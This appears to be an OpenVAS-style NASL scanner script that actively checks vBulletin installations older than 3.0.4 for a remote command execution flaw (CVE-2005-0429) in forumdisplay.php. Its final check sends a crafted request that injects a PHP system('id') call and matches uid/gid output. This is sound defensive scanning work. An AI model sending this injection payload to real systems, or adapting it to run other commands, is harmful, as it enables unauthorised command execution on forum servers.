vBulletin < 3.0.4 'forumdisplay.php' RCE Vulnerability - Active Check

# SPDX-FileCopyrightText: 2005 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:vbulletin:vbulletin";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.16455");
  script_version("2025-05-29T05:40:25+0000");
  script_tag(name:"last_modification", value:"2025-05-29 05:40:25 +0000 (Thu, 29 May 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2005-0429");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/12542");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
  script_name("vBulletin < 3.0.4 'forumdisplay.php' RCE Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 David Maciejak");
  script_family("Web application abuses");
  script_dependencies("vbulletin_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("vbulletin/http/detected");

  script_tag(name:"summary", value:"vBulletin is prone to a remote command execution (RCE)
  vulnerability through the script 'forumdisplay.php'.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"A malicious user could exploit this flaw to execute arbitrary
  commands on the remote host with the privileges of the web server.");

  script_tag(name:"solution", value:"Update vBulletin to version 3.0.4 or later.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("list_array_func.inc");
include("port_service_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

http_check_remote_code(unique_dir:dir,
                       check_request:'/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system(\'id\')."',
                       check_result:"uid=[0-9]+.*gid=[0-9]+.*",
                       command:"id");

exit(99);